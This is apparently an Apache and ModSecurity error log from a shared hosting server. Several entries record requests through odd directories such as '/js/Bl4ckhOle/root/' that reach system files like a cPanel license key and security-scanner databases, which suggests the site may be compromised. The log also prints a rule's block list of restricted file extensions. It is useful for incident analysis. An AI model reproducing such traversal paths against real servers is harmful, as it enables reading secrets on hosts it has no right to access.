[Fri Jul 17 09:10:16.882475 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/patchman.db"] [unique_id "almkIA5GPQ6hs4VrfMpD9AAAAAY"]
[Fri Jul 17 09:10:16.882967 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/patchman.db"] [unique_id "almkIA5GPQ6hs4VrfMpD9AAAAAY"]
[Fri Jul 17 09:10:16.884866 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/patchman.db"] [unique_id "almkIA5GPQ6hs4VrfMpD9AAAAAY"]
[Fri Jul 17 09:10:16.982345 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/patchman_map.db"] [unique_id "almkIEgVnBK6wAv37w6uqAAAABQ"]
[Fri Jul 17 09:10:16.982789 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/patchman_map.db"] [unique_id "almkIEgVnBK6wAv37w6uqAAAABQ"]
[Fri Jul 17 09:10:16.983646 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/var/imunify360/files/sigs/v1_2026-07-16T082026.129686Z/aibolit/patchman_map.db"] [unique_id "almkIEgVnBK6wAv37w6uqAAAABQ"]
[Fri Jul 17 09:10:17.084916 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.190197 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.318198 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.328819 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:50076] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:17.354480 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:50088] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:17.386239 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.519417 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.589688 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.721017 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:17.793631 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:19.007750 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:19.008543 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:50182] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:19.617952 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:19.719240 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:19.823740 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:19.921146 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:19.996979 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 57.141.18.24:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory76/node0/memory5/node0/memory122/node0/compact
[Fri Jul 17 09:10:20.628692 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:20.833978 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:21.150800 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:21.659459 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-Test-Simple/t/Legacy/Regression/789-read-only.t"] [unique_id "almkJQ5GPQ6hs4VrfMpD-QAAAAY"]
[Fri Jul 17 09:10:21.659492 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-Test-Simple/t/Legacy/Regression/789-read-only.t"] [unique_id "almkJQ5GPQ6hs4VrfMpD-QAAAAY"]
[Fri Jul 17 09:10:22.086878 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.086992 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.087056 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.087100 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.087144 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.087195 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.469510 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.469632 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.469699 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.469747 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.469797 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.469847 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.609548 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:40770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:22.675423 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.675503 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.675527 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.675546 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.675566 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.675602 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.886431 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.886515 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.886551 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.886604 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.886659 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.886689 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:22.989802 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/sieve-ldap.conf"] [unique_id "almkJrEKozcCJ-ReuK0E8AAAAAg"]
[Fri Jul 17 09:10:22.990323 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/sieve-ldap.conf"] [unique_id "almkJrEKozcCJ-ReuK0E8AAAAAg"]
[Fri Jul 17 09:10:23.008968 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/dovecot/example-config/sieve-ldap.conf"] [unique_id "almkJrEKozcCJ-ReuK0E8AAAAAg"]
[Fri Jul 17 09:10:23.858498 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:40804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:24.246137 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:24.733830 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:40858] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:25.385830 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.466748 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.548025 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.628431 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.710600 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.792540 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.874162 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:25.953910 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.035378 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.115249 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.203986 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.283954 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.369787 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.411301 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:26.441242 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:26.458888 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.526170 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:40942] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:26.540177 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.620754 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.657149 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:26.708616 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.788004 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.835463 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:26.869452 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:26.939145 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:26.949107 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.032798 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.113726 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.159959 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.133:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almkKw5GPQ6hs4VrfMpEAQAAAAY"]
[Fri Jul 17 09:10:27.194770 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.233546 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:40980] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:27.278010 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.343541 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:10:27.361688 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.442176 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.525664 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.606875 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.612544 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkKw7FYe46zHK_jL3SIAAAABk"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:10:27.612604 2026] [security2:error] [pid 2013829:tid 2013829] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almkKw7FYe46zHK_jL3SIAAAABk"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:10:27.695117 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.775068 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.859784 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:27.941357 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.042290 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.191008 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.284151 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.363994 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.454931 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.457888 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.191.171.10:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/opt/cpanel/csp/license2.key"] [unique_id "almkLI-0g_VSPeIeFN3CvQAAAAs"]
[Fri Jul 17 09:10:28.458315 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.191.171.10:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/opt/cpanel/csp/license2.key"] [unique_id "almkLI-0g_VSPeIeFN3CvQAAAAs"]
[Fri Jul 17 09:10:28.458710 2026] [security2:error] [pid 2034024:tid 2034024] [client 185.191.171.10:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/opt/cpanel/csp/license2.key"] [unique_id "almkLI-0g_VSPeIeFN3CvQAAAAs"]
[Fri Jul 17 09:10:28.535651 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:28.868328 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.047496 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:41056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:10:29.112163 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:10:29.194162 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.48.236.161:0] AH01071: Got error 'Primary script unknown'
